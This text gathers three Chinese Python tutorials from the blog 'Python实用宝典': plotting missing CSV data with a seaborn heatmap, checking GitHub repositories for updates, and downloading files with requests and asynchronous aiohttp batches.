Python热力图寻找缺失数据

你有没有遇到一种情况,处理一张很大的csv表格的时候很难找到表格中每一列的缺失数据,或者说处理速度非常慢?当然如果你的Excel水平非常高,这个可能不会成为你的问题,但如果当你想可视化出每一列缺失数据的分布和数量怎么办呢?这时候就需要用Python绘制热力图了!

1.安装所需要的第三方Python

在开始之前我们需要安装以下Python包(),打开你的CMD(Windows系统)/Terminal(macOS系统)输入以下指令即可:

pip install seaborn
pip install pandas
pip install matplotlib

其中pandas是用于数据操作与处理的,matplotlib和seaborn主要用于Python数据可视化,也就是绘制我们所需要的热力图。

2.Python加载数据

好了,废话不多说,让我们现在就开始使用panda加载数据:

import pandas as pd
import numpy as np
import seaborn
import matplotlib

data = pd.read_csv('training_data.csv')

没错,pandas的使用就这么简单,读取csv文件直接使用read_csv函数,你可以使用自己需要的csv文件,也可以使用我们提供的:点击下载 Python推特机器人分类数据集 中的training_data.csv,只需要你移动到当前代码的文件夹下即可。

3.Python构造热力图

使用Python构造热力图识别表格的缺失数据:

seaborn.heatmap(data.isnull(), yticklabels=False, cbar=False, cmap='viridis')
# 热力图,当data中有空值时标为黄色
matplotlib.pyplot.tight_layout() 
matplotlib.pyplot.show()
Python热力图寻找缺失数据

seaborn.heatmap用于生成热力图,其会检查data中的每个单元格,如果为空则标记为黄色,cmap为颜色图谱,viridis即蓝-绿-黄. 此外,matplotlib.pyplot主要用于负责展示图片。如果你需要知道seaborn更详细的参数文档,可以阅读这篇文章

整体代码如下(一共只用了7行

import pandas as pd
import seaborn
import matplotlib
data = pd.read_csv('training_data.csv')
seaborn.heatmap(data.isnull(), yticklabels=False, cbar=False, cmap='viridis')
matplotlib.pyplot.tight_layout() 
matplotlib.pyplot.show()

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

Python 监控Github项目更新并自动下载

如果你有自己在本地维护一个开源代码,你就会知道检测这些是否更新了是多麻烦的一件事情。随着库的增大,人工维护成本也就越来越大。因此便有了这个项目的想法:让我们用Python监控Github项目是否有更新,如果有的话自动下载该更新

1.统一文件名格式

为了能够获取github上的项目的更新时间,我们需要调用github的一个API:

https://api.github.com/repos/用户名/库名

可以看到,这个API由 用户名/名 组成,因此我们的文件名应该以它为标准才能方便API的调用,由于文件名不可以带有 ‘/’ 这样的特殊符号,因此我们改为下划线分割,如FastText项目调用API的时候为:

https://api.github.com/repos/facebookresearch/fastText

我们保存的文件名则为 facebookresearch_fastText.zip 这样,在调用API、下载文件的时候将会方便许多

2.获得文件夹里的所有文件名及其最后修改时间

为了判断github上的项目是否相对于本地有更新,我们需要获得每一个本地的文件的最后修改时间,因此这是一个字典关系。代码如下:

3.与Github线上项目对比更新时间

首先我们要通过调用我们前面说提到的API 获取github线上项目的时间。其次,一定要将其格式化为10位时间戳,因为我们第二步获得的时间也是10位时间戳,这样对比起来非常方便。最后返回的时候只需要返回是否需要更新即可。如图所示。

github update time

代码如下:

4.如果有需要更新的项目,让其自动下载

由于许多github项目文件压缩包都挺大的,我们这里采用了流式下载。如果你的项目特别多,你需要更快地进行下载,请采用批量异步下载。在我们之前的那篇文章里都有,点击即可阅读

5. 整套流程

我们把已经下载好的项目文件放在libs文件夹里,自动下载得到的文件放置在new文件夹中。文件结构如下:

F:\pythondict\pythondict-downloads\
│ superviser.py

├─libs
│ facebookresearch_fastText.zip
│ facebookresearch_MUSE.zip

└─new

整套代码如下,为了防范盗取文章的家伙,原谅我这里是图片的格式,如果需要下载请点击这里

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典

python 文件下载、大文件下载、异步批量下载 教程

按照不同的情况,Python下载文件可以分为三种:小文件下载大文件下载、批量下载

本文源代码: https://pythondict.com/download/python-file-download-source-code/

python 小文件下载

流程:使用request.get请求链接,返回的内容放置到变量r中,然后将r写入到你想放的地方。

Python小文件下载流程

以下载上述流程图为例子:

# 例1
import requests
def request_zip(url):
    r = requests.get(url) 
    # 请求链接后保存到变量r中
    with open("new/名字.png",'wb') as f:
        # r.content写入至文件
        f.write(r.content)
request_zip('https://pythondict.com/wp-content/uploads/2019/08/2019082807222049.png')

运行完毕后,它将会被保存到当前文件夹的new文件夹里。

python 大文件下载

我们在小文件下载的时候,是将文件内容暂存到变量里,大家想想,下载大文件的时候还这样做会有什么问题?

很简单,如果你的内存只有8G,结果要下载文件却有10G那么大,那就肯定无法下载成功了。而且本机软件运行占的内存也比较大,如果你的内存只有8G,实际上剩余可用的内存可能低于2G-4G. 这种情况下怎么下载大文件呢?

流式分块下载

原理:一块一块地将内存写入到文件中,以避免内存占用过大。

Python大文件下载流程

当设置了request.get(stream=True)的时候,就是启动流模式下载,典型特征:在r变量的content被调用的时候才会启动下载。代码如下:

# 例2
import requests
def request_big_data(url):
    name = url.split('/')[-1]
    # 获取文件名
    r = requests.get(url, stream=True)
    # stream=True 设置为流读取
    with open("new/"+str(name), "wb") as pdf:
        for chunk in r.iter_content(chunk_size=1024):
            # 每1024个字节为一块进行读取
            if chunk:
                # 如果chunk不为空
                pdf.write(chunk)
request_big_data(url="https://www.python.org/ftp/python/3.7.4/python-3.7.4-amd64.exe")

Python 批量文件下载

所谓批量下载,当然不是一个一个文件的下载了,比如说我们要下载百度图片,如果一个一个下载会出现两种负面情况:

  1. 如果某个请求堵塞,整个队列都会被堵塞
  2. 如果是小文件,单线程下载太慢

我们的解决方案是使用异步策略。如果你会用scrapy框架,那就轻松许多了,因为它结合了twisted异步驱动架构,根本不需要你自己写异步。不过我们python实用宝典讲的可是教程,还是跟大家说一下怎么实现异步下载:

我们需要使用到两个包,一个是asyncio、一个是aiohttp. asyncio是Python3的原装,但是aiohttp则需要各位使用cmd/Terminal打开,输入以下命令安装:

pip install aiohttp

注意asyncio是单进程并发,不是多线程,也不是多进程,是协程。单纯是在一个进程里面异步(切来切去运行),切换的地方用await标记,能够切换的函数用async标记。比如下载异步批量下载两个图片的代码如下:

# 例3
import aiohttp
import asyncio
import time
async def job(session, url):
    # 声明为异步函数
    name = url.split('/')[-1]
    # 获得名字
    img = await session.get(url)
    # 触发到await就切换,等待get到数据
    imgcode = await img.read()
    # 读取内容
    with open("new/"+str(name),'wb') as f:
        # 写入至文件
        f.write(imgcode)
    return str(url)

async def main(loop, URL):
    async with aiohttp.ClientSession() as session:
        # 建立会话session
        tasks = [loop.create_task(job(session, URL[_])) for _ in range(2)]
        # 建立所有任务
        finished, unfinished = await asyncio.wait(tasks)
        # 触发await,等待任务完成
        all_results = [r.result() for r in finished]
        # 获取所有结果
        print("ALL RESULT:"+str(all_results))

URL = ['https://pythondict.com/wp-content/uploads/2019/07/2019073115192114.jpg',
       'https://pythondict.com/wp-content/uploads/2019/08/2019080216113098.jpg']
loop = asyncio.get_event_loop()
loop.run_until_complete(main(loop, URL))
loop.close()

注意: img = await session.get(url)
这时候,在你请求第一个图片获得数据的时候,它会切换请求第二个图片或其他图片,等第一个图片获得所有数据后再切换回来。从而实现多线程批量下载的功能,速度超快,下载超清大图用这个方法可以一秒一张。

我们的文章到此就结束啦,如果你希望我们今天的Python 教程,请持续关注我们,如果对你有帮助,麻烦在下面点一个赞/在看哦,有任何问题都可以在下方留言区留言,我们都会耐心解答的!


​Python实用宝典 (pythondict.com)
不只是一个宝典
欢迎关注公众号:Python实用宝典